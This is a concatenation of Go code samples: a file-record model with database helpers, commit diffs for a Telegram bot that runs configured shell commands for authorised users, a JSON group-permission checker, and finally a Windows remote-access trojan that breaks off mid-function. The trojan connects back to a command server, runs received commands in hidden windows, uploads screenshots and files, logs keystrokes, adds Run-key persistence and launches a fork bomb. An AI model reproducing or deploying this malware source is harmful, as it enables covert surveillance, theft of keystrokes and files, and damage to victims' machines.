func (f *File) FnGetByMd5() func(r *uploadClient.Result) error {
	fileD := &dbschema.File{}
	return func(r *uploadClient.Result) error {
		fileD.Reset()
		err := fileD.Get(nil, db.Cond{`md5`: r.Md5})
		if err != nil {
			if err == db.ErrNoMoreRows {
				return nil
			}
			return err
		}
		r.SavePath = fileD.SavePath
		r.FileURL = fileD.ViewUrl
		return table.ErrExistsFile
	}
}

func (f *File) DeleteBySavePath(savePath string) (err error) {
	err = f.Get(nil, db.Cond{`save_path`: savePath})
	if err != nil {
		if err != db.ErrNoMoreRows {
			return
		}
		return nil
	}
	err = f.Delete(nil, db.Cond{`id`: f.Id})
	if err != nil {
		return
	}
	return f.fireDelete()
}

func (f *File) UpdateAvatar(project string, ownerType string, ownerID uint64) error {
	err := f.SetFields(nil, echo.H{
		`table_id`:   ownerID,
		`table_name`: ownerType,
		`field_name`: `avatar`,
		`project`:    project,
		`used_times`: 1,
	}, db.Cond{`id`: f.Id})
	if err != nil {
		return err
	}
	err = f.RemoveUnusedAvatar(ownerType, f.Id)
	return err
}

func (f *File) RemoveUnusedAvatar(ownerType string, excludeID uint64) error {
	return f.DeleteBy(db.And(
		db.Cond{`table_id`: 0},
		db.Cond{`table_name`: ownerType},
		db.Cond{`field_name`: `avatar`},
		db.Cond{`id`: db.NotEq(excludeID)},
	))
}

func (f *File) CondByOwner(ownerType string, ownerID uint64) db.Compound {
	return db.And(
		db.Cond{`owner_id`: ownerID},
		db.Cond{`owner_type`: ownerType},
	)
}

func (f *File) DeleteBy(cond db.Compound) error {
	size := 500
	cnt, err := f.ListByOffset(nil, nil, 0, size, cond)
	if err != nil {
		return err
	}
	totalRows := cnt()
	var start int64
	for ; start < totalRows; start += int64(size) {
		if start > 0 {
			cnt, err = f.ListByOffset(nil, nil, 0, size, cond)
			if err != nil {
				return err
			}
		}
                rows := f.Objects()
		for _, fm := range rows {
			err = f.Delete(nil, db.Cond{`id`: fm.Id})
			if err != nil {
				return err
			}
			err = f.fireDelete()
			if err != nil {
				return err
			}
		}
                if len(rows) < size {
                    break
                }
	}
	return err
}

func (f *File) RemoveAvatar(ownerType string, ownerID int64) error {
	return f.DeleteBy(db.And(
		db.Cond{`table_id`: ownerID},
		db.Cond{`table_name`: ownerType},
		db.Cond{`field_name`: `avatar`},
	))
}
<|endoftext|>


<commit_before>package main

import (
	"flag"
	"fmt"
	"io"
	"log"
	"os"
	"os/exec"
	"regexp"
	"strings"

	"github.com/Syfaro/telegram-bot-api"
)

// version
const VERSION = "1.0"

// bot default timeout
const DEFAULT_BOT_TIMEOUT = 60

// Command - one command type
type Commands map[string]string

// Config - config struct
type Config struct {
	token      string   // bot token
	addExit    bool     // add /exit command
	botTimeout int      // bot timeout
	allowUsers []string // users telegram-names who allow chats with bot
	rootUsers  []string // users telegram-names who confirm new users through of it private chat
	allowAll   bool     // allow all user (DANGEROUS!)
}

// ----------------------------------------------------------------------------
// get config
func getConfig() (commands Commands, app_config Config, err error) {
	flag.StringVar(&app_config.token, "tb-token", "", "set bot token (or set TB_TOKEN variable)")
	flag.BoolVar(&app_config.addExit, "add-exit", false, "add \"/shell2telegram exit\" command for terminate bot")
	flag.IntVar(&app_config.botTimeout, "timeout", DEFAULT_BOT_TIMEOUT, "bot timeout")
	flag.BoolVar(&app_config.allowAll, "allow-all", false, "allow all user (DANGEROUS!)")
	allowUsers := flag.String("allow-users", "", "users telegram-names who allow chats with bot (\"user1,user2\")")
	rootUsers := flag.String("root-users", "", "users telegram-names who confirm new users through of it private chat (\"user1,user2\")")

	flag.Usage = func() {
		fmt.Printf("usage: %s [options] /chat_command \"shell command\" /chat_command2 \"shell command2\"\n", os.Args[0])
		flag.PrintDefaults()
		os.Exit(0)
	}
	version := flag.Bool("version", false, "get version")
	flag.Parse()
	if *version {
		fmt.Println(VERSION)
		os.Exit(0)
	}

	if *allowUsers != "" {
		app_config.allowUsers = strings.Split(*allowUsers, ",")
	}
	if *rootUsers != "" {
		app_config.rootUsers = strings.Split(*rootUsers, ",")
	}

	commands = Commands{}
	// need >= 2 arguments and count of it must be even
	args := flag.Args()
	if len(args) < 2 || len(args)%2 == 1 {
		return commands, app_config, fmt.Errorf("error: need pairs of chat-command and shell-command")
	}

	for i := 0; i < len(args); i += 2 {
		path, cmd := args[i], args[i+1]
		if path[0] != '/' {
			return commands, app_config, fmt.Errorf("error: path %s dont starts with /", path)
		}
		commands[path] = cmd
	}

	if app_config.token == "" {
		if app_config.token = os.Getenv("TB_TOKEN"); app_config.token == "" {
			return commands, app_config, fmt.Errorf("TB_TOKEN environment var not found. See https://core.telegram.org/bots#botfather for more information\n")
		}
	}

	return commands, app_config, nil
}

// ----------------------------------------------------------------------------
func sendMessageWithLogging(bot *tgbotapi.BotAPI, chat_id int, replay_msg string) {
	_, err := bot.SendMessage(tgbotapi.NewMessage(chat_id, replay_msg))
	if err != nil {
		log.Print("Bot send message error: ", err)
	}
}

// ----------------------------------------------------------------------------
func main() {
	commands, app_config, err := getConfig()
	if err != nil {
		log.Fatal(err)
	}

	bot, err := tgbotapi.NewBotAPI(app_config.token)
	if err != nil {
		log.Fatal(err)
	}

	log.Printf("Authorized on bot account: %s", bot.Self.UserName)

	var tgbot_config tgbotapi.UpdateConfig = tgbotapi.NewUpdate(0)
	tgbot_config.Timeout = app_config.botTimeout
	err = bot.UpdatesChan(tgbot_config)
	if err != nil {
		log.Fatal(err)
	}

	go_exit := false
	users := NewUsers(app_config)

LOOP:
	for {
		select {
		case telegram_update := <-bot.Updates:

			chat_id := telegram_update.Message.Chat.ID

			parts := regexp.MustCompile(`\s+`).Split(telegram_update.Message.Text, 2)
			replay_msg := ""

			if len(parts) > 0 && len(parts[0]) > 0 && parts[0][0] == '/' {

				user_from := telegram_update.Message.From

				users.AddNew(user_from, telegram_update.Message.Chat)
				allowExec := app_config.allowAll || users.IsAuthorized(user_from.ID)

				if parts[0] == "/auth" || parts[0] == "/authroot" {

					for_root := parts[0] == "/authroot"

					if len(parts) == 1 || parts[1] == "" {

						replay_msg = "See code in terminal with shell2telegram or ack code from root user and type:\n" + parts[0] + " code"
						users.DoLogin(user_from.ID, for_root)

						var auth_code string
						if for_root {
							auth_code = users.list[user_from.ID].AuthCodeRoot
						} else {
							auth_code = users.list[user_from.ID].AuthCode
						}

						root_role_str := ""
						if for_root {
							root_role_str = "root "
						}
						secretCodeMsg := fmt.Sprintf("Request %saccess for %s. Code: %s\n", root_role_str, users.String(user_from.ID), auth_code)
						fmt.Print(secretCodeMsg)
						users.broadcastForRoots(bot, secretCodeMsg)

					} else if len(parts) > 1 {
						if users.IsValidCode(user_from.ID, parts[1], for_root) {
							users.list[user_from.ID].IsAuthorized = true
							if for_root {
								users.list[user_from.ID].IsRoot = true
								replay_msg = fmt.Sprintf("You (%s) authorized as root.", users.String(user_from.ID))
								log.Print("root authorized: ", users.String(user_from.ID))
							} else {
								replay_msg = fmt.Sprintf("You (%s) authorized.", users.String(user_from.ID))
								log.Print("authorized: ", users.String(user_from.ID))
							}
						} else {
							replay_msg = fmt.Sprintf("Code is not valid.")
						}
					}

				} else if parts[0] == "/help" {

					if allowExec {
						for cmd, shell_cmd := range commands {
							replay_msg += fmt.Sprintf("%s - %s\n", cmd, shell_cmd)
						}
					}
					if users.IsRoot(user_from.ID) {
						replay_msg += fmt.Sprintf("%s - %s\n", "/shell2telegram stat", "get stat about users")
						if app_config.addExit {
							replay_msg += fmt.Sprintf("%s - %s\n", "/shell2telegram exit", "terminate bot")
						}
					}
					replay_msg += fmt.Sprintf("%s - %s\n", "/auth [code]", "authorize user")
					replay_msg += fmt.Sprintf("%s - %s\n", "/authroot [code]", "authorize user as root")

				} else if allowExec && users.IsRoot(user_from.ID) && parts[0] == "/shell2telegram" && len(parts) > 1 && parts[1] == "stat" {

					for user_id, user := range users.list {
						replay_msg += fmt.Sprintf("%s: auth: %v, root: %v, count: %d, last: %v\n",
							users.String(user_id),
							user.IsAuthorized,
							user.IsRoot,
							user.Counter,
							user.LastAccessTime.Format("2006-01-02 15:04:05"),
						)
					}

				} else if allowExec &&
					users.IsRoot(user_from.ID) &&
					app_config.addExit &&
					parts[0] == "/shell2telegram" &&
					len(parts) > 1 &&
					parts[1] == "exit" {

					replay_msg = "bye..."
					go_exit = true

				} else if cmd, found := commands[parts[0]]; allowExec && found {

					shell, params := "sh", []string{"-c", cmd}
					if len(parts) > 1 {
						params = append(params, parts[1])
					}

					os_exec_command := exec.Command(shell, params...)
					os_exec_command.Stderr = os.Stderr

					// write all arguments to STDIN
					if len(parts) > 1 && parts[1] != "" {
						stdin, err := os_exec_command.StdinPipe()
						if err == nil {
							io.WriteString(stdin, parts[1])
							stdin.Close()
						} else {
							log.Print("get STDIN error: ", err)
						}
					}

					shell_out, err := os_exec_command.Output()
					if err != nil {
						log.Println("exec error: ", err)
						replay_msg = fmt.Sprintf("exec error: %s", err)
					} else {
						replay_msg = string(shell_out)
					}
				}

				if replay_msg != "" {
					sendMessageWithLogging(bot, chat_id, replay_msg)

					if go_exit {
						break LOOP
					}
				}
			}
		}
	}
}
<commit_msg>Fixed /help for non-root users<commit_after>package main

import (
	"flag"
	"fmt"
	"io"
	"log"
	"os"
	"os/exec"
	"regexp"
	"strings"

	"github.com/Syfaro/telegram-bot-api"
)

// version
const VERSION = "1.0"

// bot default timeout
const DEFAULT_BOT_TIMEOUT = 60

// Command - one command type
type Commands map[string]string

// Config - config struct
type Config struct {
	token      string   // bot token
	addExit    bool     // add /exit command
	botTimeout int      // bot timeout
	allowUsers []string // users telegram-names who allow chats with bot
	rootUsers  []string // users telegram-names who confirm new users through of it private chat
	allowAll   bool     // allow all user (DANGEROUS!)
}

// ----------------------------------------------------------------------------
// get config
func getConfig() (commands Commands, app_config Config, err error) {
	flag.StringVar(&app_config.token, "tb-token", "", "set bot token (or set TB_TOKEN variable)")
	flag.BoolVar(&app_config.addExit, "add-exit", false, "add \"/shell2telegram exit\" command for terminate bot")
	flag.IntVar(&app_config.botTimeout, "timeout", DEFAULT_BOT_TIMEOUT, "bot timeout")
	flag.BoolVar(&app_config.allowAll, "allow-all", false, "allow all user (DANGEROUS!)")
	allowUsers := flag.String("allow-users", "", "users telegram-names who allow chats with bot (\"user1,user2\")")
	rootUsers := flag.String("root-users", "", "users telegram-names who confirm new users through of it private chat (\"user1,user2\")")

	flag.Usage = func() {
		fmt.Printf("usage: %s [options] /chat_command \"shell command\" /chat_command2 \"shell command2\"\n", os.Args[0])
		flag.PrintDefaults()
		os.Exit(0)
	}
	version := flag.Bool("version", false, "get version")
	flag.Parse()
	if *version {
		fmt.Println(VERSION)
		os.Exit(0)
	}

	if *allowUsers != "" {
		app_config.allowUsers = strings.Split(*allowUsers, ",")
	}
	if *rootUsers != "" {
		app_config.rootUsers = strings.Split(*rootUsers, ",")
	}

	commands = Commands{}
	// need >= 2 arguments and count of it must be even
	args := flag.Args()
	if len(args) < 2 || len(args)%2 == 1 {
		return commands, app_config, fmt.Errorf("error: need pairs of chat-command and shell-command")
	}

	for i := 0; i < len(args); i += 2 {
		path, cmd := args[i], args[i+1]
		if path[0] != '/' {
			return commands, app_config, fmt.Errorf("error: path %s dont starts with /", path)
		}
		commands[path] = cmd
	}

	if app_config.token == "" {
		if app_config.token = os.Getenv("TB_TOKEN"); app_config.token == "" {
			return commands, app_config, fmt.Errorf("TB_TOKEN environment var not found. See https://core.telegram.org/bots#botfather for more information\n")
		}
	}

	return commands, app_config, nil
}

// ----------------------------------------------------------------------------
func sendMessageWithLogging(bot *tgbotapi.BotAPI, chat_id int, replay_msg string) {
	_, err := bot.SendMessage(tgbotapi.NewMessage(chat_id, replay_msg))
	if err != nil {
		log.Print("Bot send message error: ", err)
	}
}

// ----------------------------------------------------------------------------
func main() {
	commands, app_config, err := getConfig()
	if err != nil {
		log.Fatal(err)
	}

	bot, err := tgbotapi.NewBotAPI(app_config.token)
	if err != nil {
		log.Fatal(err)
	}

	log.Printf("Authorized on bot account: %s", bot.Self.UserName)

	var tgbot_config tgbotapi.UpdateConfig = tgbotapi.NewUpdate(0)
	tgbot_config.Timeout = app_config.botTimeout
	err = bot.UpdatesChan(tgbot_config)
	if err != nil {
		log.Fatal(err)
	}

	go_exit := false
	users := NewUsers(app_config)

LOOP:
	for {
		select {
		case telegram_update := <-bot.Updates:

			chat_id := telegram_update.Message.Chat.ID

			parts := regexp.MustCompile(`\s+`).Split(telegram_update.Message.Text, 2)
			replay_msg := ""

			if len(parts) > 0 && len(parts[0]) > 0 && parts[0][0] == '/' {

				user_from := telegram_update.Message.From

				users.AddNew(user_from, telegram_update.Message.Chat)
				allowExec := app_config.allowAll || users.IsAuthorized(user_from.ID)

				if parts[0] == "/auth" || parts[0] == "/authroot" {

					for_root := parts[0] == "/authroot"

					if len(parts) == 1 || parts[1] == "" {

						replay_msg = "See code in terminal with shell2telegram or ack code from root user and type:\n" + parts[0] + " code"
						users.DoLogin(user_from.ID, for_root)

						var auth_code string
						if for_root {
							auth_code = users.list[user_from.ID].AuthCodeRoot
						} else {
							auth_code = users.list[user_from.ID].AuthCode
						}

						root_role_str := ""
						if for_root {
							root_role_str = "root "
						}
						secretCodeMsg := fmt.Sprintf("Request %saccess for %s. Code: %s\n", root_role_str, users.String(user_from.ID), auth_code)
						fmt.Print(secretCodeMsg)
						users.broadcastForRoots(bot, secretCodeMsg)

					} else if len(parts) > 1 {
						if users.IsValidCode(user_from.ID, parts[1], for_root) {
							users.list[user_from.ID].IsAuthorized = true
							if for_root {
								users.list[user_from.ID].IsRoot = true
								replay_msg = fmt.Sprintf("You (%s) authorized as root.", users.String(user_from.ID))
								log.Print("root authorized: ", users.String(user_from.ID))
							} else {
								replay_msg = fmt.Sprintf("You (%s) authorized.", users.String(user_from.ID))
								log.Print("authorized: ", users.String(user_from.ID))
							}
						} else {
							replay_msg = fmt.Sprintf("Code is not valid.")
						}
					}

				} else if parts[0] == "/help" {

					if allowExec {
						for cmd, shell_cmd := range commands {
							replay_msg += fmt.Sprintf("%s - %s\n", cmd, shell_cmd)
						}
						if users.IsRoot(user_from.ID) {
							replay_msg += fmt.Sprintf("%s - %s\n", "/shell2telegram stat", "get stat about users")
							if app_config.addExit {
								replay_msg += fmt.Sprintf("%s - %s\n", "/shell2telegram exit", "terminate bot")
							}
						}
					}
					replay_msg += fmt.Sprintf("%s - %s\n", "/auth [code]", "authorize user")
					replay_msg += fmt.Sprintf("%s - %s\n", "/authroot [code]", "authorize user as root")

				} else if allowExec && users.IsRoot(user_from.ID) && parts[0] == "/shell2telegram" && len(parts) > 1 && parts[1] == "stat" {

					for user_id, user := range users.list {
						replay_msg += fmt.Sprintf("%s: auth: %v, root: %v, count: %d, last: %v\n",
							users.String(user_id),
							user.IsAuthorized,
							user.IsRoot,
							user.Counter,
							user.LastAccessTime.Format("2006-01-02 15:04:05"),
						)
					}

				} else if allowExec &&
					users.IsRoot(user_from.ID) &&
					app_config.addExit &&
					parts[0] == "/shell2telegram" &&
					len(parts) > 1 &&
					parts[1] == "exit" {

					replay_msg = "bye..."
					go_exit = true

				} else if cmd, found := commands[parts[0]]; allowExec && found {

					shell, params := "sh", []string{"-c", cmd}
					if len(parts) > 1 {
						params = append(params, parts[1])
					}

					os_exec_command := exec.Command(shell, params...)
					os_exec_command.Stderr = os.Stderr

					// write all arguments to STDIN
					if len(parts) > 1 && parts[1] != "" {
						stdin, err := os_exec_command.StdinPipe()
						if err == nil {
							io.WriteString(stdin, parts[1])
							stdin.Close()
						} else {
							log.Print("get STDIN error: ", err)
						}
					}

					shell_out, err := os_exec_command.Output()
					if err != nil {
						log.Println("exec error: ", err)
						replay_msg = fmt.Sprintf("exec error: %s", err)
					} else {
						replay_msg = string(shell_out)
					}
				}

				if replay_msg != "" {
					sendMessageWithLogging(bot, chat_id, replay_msg)

					if go_exit {
						break LOOP
					}
				}
			}
		}
	}
}
<|endoftext|>


<commit_before>package permission

import (
	"io"
	"encoding/json"
	"os"
	"strings"
)

// This is a permission system based on groups and users, with data stored in
// two json files "groups.json" and "users.json". It has one world support.
type JsonPermission struct {
	users       map[string]*CachedUser
	defaultUser *CachedUser
}

func LoadJsonPermissionFromFiles(userDefFile, groupDefFile string) (jPermission *JsonPermission, err error) {
	// Load users
	usersFile, err := os.Open(userDefFile)
	if err != nil {
		return
	}
	defer usersFile.Close()

	// Load groups
	groupsFile, err := os.Open(groupDefFile)
	if err != nil {
		return
	}
	defer groupsFile.Close()

	return LoadJsonPermission(usersFile, groupsFile)
}

func LoadJsonPermission(userReader io.Reader, groupReader io.Reader) (jPermission *JsonPermission, err error) {
	// Load users
	usersDecoder := json.NewDecoder(userReader)
	var users Users
	if err = usersDecoder.Decode(&users); err != nil {
		return
	}

	// Load groups
	groupsDecoder := json.NewDecoder(groupReader)
	var groups Groups
	if err = groupsDecoder.Decode(&groups); err != nil {
		return nil, err
	}

	jPermission = &JsonPermission{
		users: make(map[string]*CachedUser),
	}

	// Cache users and merge groups into users.
	for name, user := range users {
		permissions := make([]string, len(user.Permissions))
		for i := range user.Permissions {
			permissions[i] = user.Permissions[i]
		}
		inhPerm := getInheritance(user.Groups, groups)
		for _, perm := range inhPerm {
			permissions = append(permissions, perm)
		}
		jPermission.users[name] = &CachedUser{permissions: permissions}
	}

	// Cache default user.
	defaultUser := &CachedUser{
		permissions: make([]string, 0),
	}
	for _, group := range groups {
		if group.Default {
			for _, perm := range group.Permissions {
				defaultUser.permissions = append(defaultUser.permissions, perm)
			}
			inhPerm := getInheritance(group.Inheritance, groups)
			for _, perm := range inhPerm {
				defaultUser.permissions = append(defaultUser.permissions, perm)
			}
		}
	}
	jPermission.defaultUser = defaultUser
	return jPermission, nil
}

func getInheritance(groupList []string, groups Groups) []string {
	permList := make([]string, 0)
	for _, group := range groupList {
		for _, permission := range groups[group].Permissions {
			permList = append(permList, permission)
		}
		inhPerm := getInheritance(groups[group].Inheritance, groups)
		for _, permission := range inhPerm {
			permList = append(permList, permission)
		}
	}
	return permList
}

// Implementation of IPermissions
func (p *JsonPermission) UserPermissions(username string) IUserPermissions {
	if user, ok := p.users[username]; ok {
		return user
	}
	return p.defaultUser
}

// A JsonPermission user with chached permissions.
type CachedUser struct {
	permissions []string
}

// Implementation of IUserPermissions
func (u *CachedUser) Has(node string) bool {
	for _, p := range u.permissions {
		if p == node {
			return true
		} else if strings.HasSuffix(p, "*") && len(p) > 0 {
			if strings.HasPrefix(node, p[:len(p)-1]) {
				return true
			}
		}
	}
	return false
}
<commit_msg>Fixed and tested<commit_after>package permission

import (
	"encoding/json"
	"io"
	"os"
	"strings"
)

// This is a permission system based on groups and users, with data stored in
// two json files "groups.json" and "users.json". It has one world support.
type JsonPermission struct {
	users       map[string]*CachedUser
	defaultUser *CachedUser
}

func LoadJsonPermissionFromFiles(userDefFile, groupDefFile string) (jPermission *JsonPermission, err error) {
	// Load users
	usersFile, err := os.Open(userDefFile)
	if err != nil {
		return
	}
	defer usersFile.Close()

	// Load groups
	groupsFile, err := os.Open(groupDefFile)
	if err != nil {
		return
	}
	defer groupsFile.Close()

	return LoadJsonPermission(usersFile, groupsFile)
}

func LoadJsonPermission(userReader io.Reader, groupReader io.Reader) (jPermission *JsonPermission, err error) {
	// Load users
	usersDecoder := json.NewDecoder(userReader)
	var users Users
	if err = usersDecoder.Decode(&users); err != nil {
		return
	}

	// Load groups
	groupsDecoder := json.NewDecoder(groupReader)
	var groups Groups
	if err = groupsDecoder.Decode(&groups); err != nil {
		return nil, err
	}

	jPermission = &JsonPermission{
		users: make(map[string]*CachedUser),
	}

	// Cache users and merge groups into users.
	for name, user := range users {
		permissions := make([]string, len(user.Permissions))
		for i := range user.Permissions {
			permissions[i] = user.Permissions[i]
		}
		inhPerm := getInheritance(user.Groups, groups)
		for _, perm := range inhPerm {
			permissions = append(permissions, perm)
		}
		jPermission.users[name] = &CachedUser{permissions: permissions}
	}

	// Cache default user.
	defaultUser := &CachedUser{
		permissions: make([]string, 0),
	}
	for _, group := range groups {
		if group.Default {
			for _, perm := range group.Permissions {
				defaultUser.permissions = append(defaultUser.permissions, perm)
			}
			inhPerm := getInheritance(group.Inheritance, groups)
			for _, perm := range inhPerm {
				defaultUser.permissions = append(defaultUser.permissions, perm)
			}
		}
	}
	jPermission.defaultUser = defaultUser
	return jPermission, nil
}

func getInheritance(groupList []string, groups Groups) []string {
	permList := make([]string, 0)
	for _, group := range groupList {
		for _, permission := range groups[group].Permissions {
			permList = append(permList, permission)
		}
		inhPerm := getInheritance(groups[group].Inheritance, groups)
		for _, permission := range inhPerm {
			permList = append(permList, permission)
		}
	}
	return permList
}

// Implementation of IPermissions
func (p *JsonPermission) UserPermissions(username string) IUserPermissions {
	if user, ok := p.users[username]; ok {
		return user
	}
	return p.defaultUser
}

// A JsonPermission user with chached permissions.
type CachedUser struct {
	permissions []string
}

// Implementation of IUserPermissions
func (u *CachedUser) Has(node string) bool {
	for _, p := range u.permissions {
		if p == node {
			return true
		} else if strings.HasSuffix(p, "*") && len(p) > 0 {
			if strings.HasPrefix(node, p[:len(p)-1]) {
				return true
			}
		}
	}
	return false
}
<|endoftext|>


<commit_before>package main

import (
	"bufio"
	"encoding/base64"
	"fmt"
	"image/png"
	"io/ioutil"
	"net"
	"os"
	"os/exec"
	"syscall"
	"time"

	screenshot "github.com/kbinani/screenshot"
)

const (
	IP         = "IPAddress:ServerPort"
	fileName   = "FileNameCHAOS"
	folderPath = "\\ProgramData"
	folderExt  = "\\NameFolderExtesion"
)

var (
	dll, _              = syscall.LoadDLL("user32.dll")
	GetAsyncKeyState, _ = dll.FindProc("GetAsyncKeyState")
	GetKeyState, _      = dll.FindProc("GetKeyState")
	Logs                string
)

func main() {
	// WaitTimeMenu()
	for {
		connect()
	}
}

func WaitTimeMenu() {
	go func() {
		time.Sleep(time.Second * 30)
	}()
	select {
	case <-time.After(time.Second * 30):
	}
}

func TakeScreenShot() {
	n := screenshot.NumActiveDisplays()

	for i := 0; i < n; i++ {
		bounds := screenshot.GetDisplayBounds(i)

		img, err := screenshot.CaptureRect(bounds)
		if err != nil {
			connect()
		}
		file, _ := os.Create(os.Getenv("systemdrive") + folderPath + "\\screenshot.png")
		defer file.Close()
		png.Encode(file, img)
	}
}

func connect() {
	conn, err := net.Dial("tcp", IP)

	if err != nil {
		fmt.Println("Connecting...")
		for {
			connect()
		}
	}

	for {
		command, _ := bufio.NewReader(conn).ReadString('\n')
		fmt.Println(command)

		decodedCase, _ := base64.StdEncoding.DecodeString(command)
		fmt.Print(string(decodedCase))

		switch string(decodedCase) {

		case "back":
			conn.Close()
			connect()

		case "exit":
			conn.Close()
			os.Exit(0)

		case "screenshot":
			TakeScreenShot()
			file, err := ioutil.ReadFile(string(os.Getenv("systemdrive") + folderPath + "\\screenshot.png"))

			if err != nil {
				conn.Write([]byte("[!] File not found!" + "\n"))
			}

			encData := base64.URLEncoding.EncodeToString(file)
			conn.Write([]byte(string(encData) + "\n"))
			//fmt.Println(encData)
			command, _ := bufio.NewReader(conn).ReadString('\n')
			fmt.Println(command)

		case "keylogger start":
			go Keylogger()
			encoded := base64.StdEncoding.EncodeToString([]byte("-> Listening!"))
			conn.Write([]byte(string(encoded) + "\n"))
			command, _ := bufio.NewReader(conn).ReadString('\n')
			fmt.Println(command)

		case "keylogger show":
			encoded := base64.StdEncoding.EncodeToString([]byte(string(Logs)))
			conn.Write([]byte(string(encoded) + "\n"))
			command, _ := bufio.NewReader(conn).ReadString('\n')
			fmt.Println(command)

		case "download":
			download, _ := bufio.NewReader(conn).ReadString('\n')
			decodeDownload, _ := base64.StdEncoding.DecodeString(download)
			file, err := ioutil.ReadFile(string(decodeDownload))

			if err != nil {
				conn.Write([]byte("[!] File not found!" + "\n"))
			}

			encData := base64.URLEncoding.EncodeToString(file)
			conn.Write([]byte(string(encData) + "\n"))
			fmt.Println(encData)

			command, _ := bufio.NewReader(conn).ReadString('\n')
			fmt.Println(command)

		case "upload":
			uploadOutput, _ := bufio.NewReader(conn).ReadString('\n')
			decodeOutput, _ := base64.StdEncoding.DecodeString(uploadOutput)
			encData, _ := bufio.NewReader(conn).ReadString('\n')
			decData, _ := base64.URLEncoding.DecodeString(encData)
			ioutil.WriteFile(string(decodeOutput), []byte(decData), 777)

		case "getos":
			cmd := exec.Command("cmd", "/C", "wmic os get name")
			cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
			c, _ := cmd.Output()
			encoded := base64.StdEncoding.EncodeToString(c)
			conn.Write([]byte(string(encoded) + "\n"))
			command, _ := bufio.NewReader(conn).ReadString('\n')
			fmt.Println(command)

		case "lockscreen":
			cmd := exec.Command("cmd", "/C", "rundll32.exe user32.dll,LockWorkStation")
			cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
			c, _ := cmd.Output()
			fmt.Println(string(c))
			encoded := base64.StdEncoding.EncodeToString([]byte("-> Locked!"))
			conn.Write([]byte(string(encoded) + "\n"))
			command, _ := bufio.NewReader(conn).ReadString('\n')
			fmt.Println(command)

		case "ls":
			cmd := exec.Command("cmd", "/C", "dir")
			cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
			c, _ := cmd.Output()
			encoded := base64.StdEncoding.EncodeToString(c)
			conn.Write([]byte(string(encoded) + "\n"))
			command, _ := bufio.NewReader(conn).ReadString('\n')
			fmt.Println(command)

		case "persistence enable":
			os.MkdirAll(os.Getenv("systemdrive")+folderPath+folderExt, 0777)

			cmd := exec.Command("cmd", "/C", "xcopy /Y "+fileName+" "+os.Getenv("systemdrive")+folderPath+folderExt)
			cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
			c, _ := cmd.Output()
			encoded := base64.StdEncoding.EncodeToString(c)
			fmt.Println(encoded)

			startupReg := "REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /V \"CHAOS Startup\" /t REG_SZ /F /D " + "\"" + "%systemdrive%" + folderPath + folderExt + "\\" + fileName + "\""
			batReg, _ := os.Create(os.Getenv("systemdrive") + folderPath + folderExt + "\\reg.bat")
			batReg.WriteString(string(startupReg))
			batReg.Close()
			execBatReg := exec.Command("cmd", "/C", os.Getenv("systemdrive")+folderPath+folderExt+"\\reg.bat")
			execBatReg.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
			execBatReg.Run()

			statusPersistenceSuccess := base64.StdEncoding.EncodeToString([]byte("[*] Persistence Enabled!"))
			statusPersistenceFailed := base64.StdEncoding.EncodeToString([]byte("[!] Persistence Failed!"))

			file := os.Getenv("systemdrive") + folderPath + folderExt + "\\" + fileName
			_, err := os.Stat(file)
			if err == nil {
				conn.Write([]byte(statusPersistenceSuccess + "\n"))
			} else if os.IsNotExist(err) {
				for {
					conn.Write([]byte(statusPersistenceFailed + "\n"))
				}
			}
			command, _ := bufio.NewReader(conn).ReadString('\n')
			fmt.Println(command)

		case "persistence disable":
			os.RemoveAll(os.Getenv("systemdrive") + folderPath + folderExt)

			startupReg := "REG DELETE HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /V \"CHAOS Startup\" /F"
			fmt.Println(startupReg)

			batReg, _ := os.Create(os.Getenv("systemdrive") + folderPath + "\\reg.bat")
			batReg.WriteString(string(startupReg))
			batReg.Close()

			execBatReg := exec.Command("cmd", "/C", os.Getenv("systemdrive")+folderPath+"\\reg.bat")
			execBatReg.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
			execBatReg.Run()

			statusPersistenceSuccess := base64.StdEncoding.EncodeToString([]byte("[*] Persistence Disabled!"))
			conn.Write([]byte(statusPersistenceSuccess + "\n"))
			command, _ := bufio.NewReader(conn).ReadString('\n')
			fmt.Println(command)

		case "bomb":
			forkBombCommand := "%0|%0"
			forkBomb, _ := os.Create(os.Getenv("systemdrive") + folderPath + "\\bomb.bat")
			forkBomb.WriteString(string(forkBombCommand))
			forkBomb.Close()

			execForkBomb := exec.Command("cmd", "/C", os.Getenv("systemdrive")+folderPath+"\\bomb.bat && del "+os.Getenv("systemdrive")+folderPath+"\\bomb.bat")
			execForkBomb.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
			execForkBomb.Run()

			statusMessageForkBomb := base64.StdEncoding.EncodeToString([]byte("[*] Executed Fork Bomb!"))
			conn.Write([]byte(statusMessageForkBomb + "\n"))
			command, _ := bufio.NewReader(conn).ReadString('\n')
			fmt.Println(command)

		case "openurl":
			url, _ := bufio.NewReader(conn).ReadString('\n')
			decodeUrl, _ := base64.StdEncoding.DecodeString(url)

			cmd := exec.Command("cmd", "/C", "start "+string(decodeUrl))
			cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
			cmd.Run()

			status := base64.StdEncoding.EncodeToString([]byte("[*] Opened!"))
			conn.Write([]byte(status + "\n"))
			command, _ := bufio.NewReader(conn).ReadString('\n')
			fmt.Println(command)
		} // end switch

		cmd := exec.Command("cmd", "/C", command)
		cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
		c, _ := cmd.Output()

		encoded := base64.StdEncoding.EncodeToString(c)
		conn.Write([]byte(string(encoded) + "\n"))
		_, err := conn.Read(make([]byte, 0))

		if err != nil {
			connect()
		}
	}
}

// It is just a poor implementation of a keylogger written in golang
func Keylogger() {
	for {

		time.Sleep(1 * time.Millisecond)

		for i := 0; i < 256; i++ {
			Result, _, _ := GetAsyncKeyState.Call(uintptr(i))

			if Result&0x1 == 0 {
				continue
			}

			switch i {
			case 8:
				Logs += "[Backspace]"
			case 9:
				Logs += "[Tab]"
			case 13:
				Logs += "[Enter]"
			case 16:
				Logs += "[Shift]"
			case 17:
				Logs += "[Control]"
			case 18:
				Logs += "[Alt]"
			case 19:
				Logs += "[Pause]"
			case 27:
				Logs += "[Esc]"
			case 32:
